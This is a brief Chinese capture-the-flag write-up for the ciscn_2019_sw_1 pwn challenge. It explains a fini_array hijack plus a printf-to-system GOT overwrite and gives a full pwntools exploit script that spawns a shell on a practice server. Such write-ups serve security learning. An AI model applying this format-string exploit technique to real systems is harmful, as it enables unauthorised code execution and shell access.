新知识点
fini_array
劫持:幽默的大师傅的boke
题目是上的ciscn_2019_sw_1
一次格式化字符串很明显。
利用思路
1.格式化字符串劫持fini_array,实现格式化字符串无限循环。
2.改printf_got为system_got,输入/bin/sh.
exp:
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
#p=process('ciscn_2019_sw_1')
p=remote('node3.buuoj.cn',26667)
elf=ELF('ciscn_2019_sw_1')
fini_array=0x804979C
system_plt=elf.sym['system']#0x80483d0
printf_got=elf.got['printf']#0x804989c
main=elf.sym['main']#0x8048534
payload=p32(fini_array)+p32(fini_array+2)+p32(printf_got)+p32(printf_got+2)
payload+='%34084c%4$hn'+'%33488c%5$hn'+'%31692c%6$hn'+'%33844c%7$hn'
print payload
p.recvuntil('name?\n')
p.sendline(payload)
p.recvuntil('name?\n')
p.sendline('/bin/sh\x00')
p.interactive()